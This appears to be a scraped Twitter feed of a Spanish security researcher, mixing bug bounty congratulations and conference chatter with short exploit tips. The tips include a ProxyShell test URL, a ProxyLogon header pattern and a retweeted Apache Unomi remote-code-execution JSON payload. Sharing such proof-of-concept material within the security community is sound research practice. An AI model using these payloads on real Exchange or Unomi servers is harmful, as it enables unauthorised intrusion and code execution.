Sebastian Cornejo

Ingeniero informático, apasionado por la seguridad y curioso por naturaleza, innovador y con ganas de emprender con varias ideas y proyectos. Fundador de

[Tarek Bouali @iambouali]

I'm so thrilled along with Team Spain, after months of super tough competition against amazing rivals from all over the world, we achieved an EPIC victory against Israel in the @Hacker0x01 AWC Final in Argentina. We are world champions, guys! We break it! 🏆

[Tarek Bouali @iambouali]

Congrats to Team Nepal🇳🇵for this victory and securing the 3rd place in the AWC 2023! 🎉

[Tarek Bouali @iambouali]

Also, a special shoutout to my teammates who worked hard to get us that 1st place:

@djurado9
@hipotermia
@j_zere
@_N0xi0us_
@corraldev
@JFran_cbit
@bsysop
@alexbindrei
@Icko_GZ
@corraldev
@_godiego__
@b1ackGamba
@pieldepanceta
@medi_0ne
@Six2dez1
@CuriositySec

[Sebastian Cornejo @CuriositySec]

@thezdi @dustin_childs down site

[Sebastian Cornejo @CuriositySec]

New ProxyShell Tips CVE-2021-34473

Vul test
URL:
/Autodiscover/[email protected]/mapi/nspi&Protocol=Ews

Response code 500 value "Requested URL" and "Physical Path"

#hacking #bugbounty #security #exploit

[Sebastian Cornejo @CuriositySec]

CVE-2021-26855 CVE-2021-27065
Security researcher publishes decompiled 12/1/2020 patch code

https://t.co/ADaKTdsJcZ

#exploit #proxylogon #poc #hacking #APT #bugbountytip #bugbountytips #bugbounty

[Sebastian Cornejo @CuriositySec]

@lotusdll attacking script kiddie XD

[Sebastian Cornejo @CuriositySec]

CVE-2021-26855 poc SID:

X-BEResource={HOST_NAME}/mapi/emsmdb/?MailboxId={EMAIL_BOX_ID@DOMAIN}&a=~1942062522
POST:
{LegacyDN}

#exploit #poc #hacking #APT #bugbountytip #bugbountytips #bugbounty

[Sebastian Cornejo @CuriositySec]

37534 subdomains used by the attacker SolarWinds/SUNBURST many more companies affected

#SUNBURST #SolarWinds #cybersecurity #malware #APT

https://t.co/Gk4s1nJjZc

[Sebastian Cornejo @CuriositySec]

37534 subdomains used by the attacker SolarWinds/SUNBURST many more companies affected

#SUNBURST #SolarWinds #cybersecurity #malware #APT

https://t.co/Gk4s1nJjZc

[0xd0m7 @0xd0m7]

Finally reached 10k points in HackerOne !
This month has been very very hard. This could not have been possible without the help of the entire @Hacker0x01 team significantly and especially thanks to the triage team (all of them) and @luketucker.
🙌🙌

[Sebastian Cornejo @CuriositySec]

que grande ;)

[0xd0m7 @0xd0m7]

Finally reached 10k points in HackerOne !
This month has been very very hard. This could not have been possible without the help of the entire @Hacker0x01 team significantly and especially thanks to the triage team (all of them) and @luketucker.
🙌🙌

[pyn3rd @pyn3rd]

#CVE-2020-13942 Apache Unomi Remote Code Execution

PoC:
{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}

[Sebastian Cornejo @CuriositySec]

#PoC #CVE-2020-26217 Xstream #exploit #hacking #Vulnerability

[Sebastian Cornejo @CuriositySec]

#PoC #CVE-2020-26217 Xstream #exploit #hacking #Vulnerability

[EastMadH4ck @EastMadH4ck]

Ya has visto nuestra lista de ponentes? @RadioHacking @jcfmunoz @AlbertoRRodas @JorgeWebsec @kinomakino @jdaanial @petruxIT @EnriqueITE @CuriositySec @rockajansky @ElChicoDePython y muchos más!!! Compra tu entrada en https://t.co/NuCT1uStZ6

[Sebastian Cornejo @CuriositySec]

@TheXC3LL @Tarlogic @hackplayers 2 - Siento no haber nombrado al autor pero también mostré mimikatz y más herramientas/técnicas y no hace falta nombrar a los autores cuando son gente buena y conocida, lo siento de verdad si te molesto algo me queda mucho por aprender.

[Sebastian Cornejo @CuriositySec]

@TheXC3LL @Tarlogic @hackplayers 1 - Fue un ejemplo, no dije que fuera mío ni que fuera mi idea solo una técnica más de las muchas que mostramos, y luego explicaba que para evitar detecciones no había que mandarlo por GET, pero tú solo has visto 1 slide

[@pedri77 @pedri77]

Seguimos en #hc0n2018 con @CuriositySec y @rockajansky

[hackplayers @hackplayers]

@rockajansky y @CuriositySec explicándonos distintas técnicas de #RedTeam para intrusiones #hc0n2018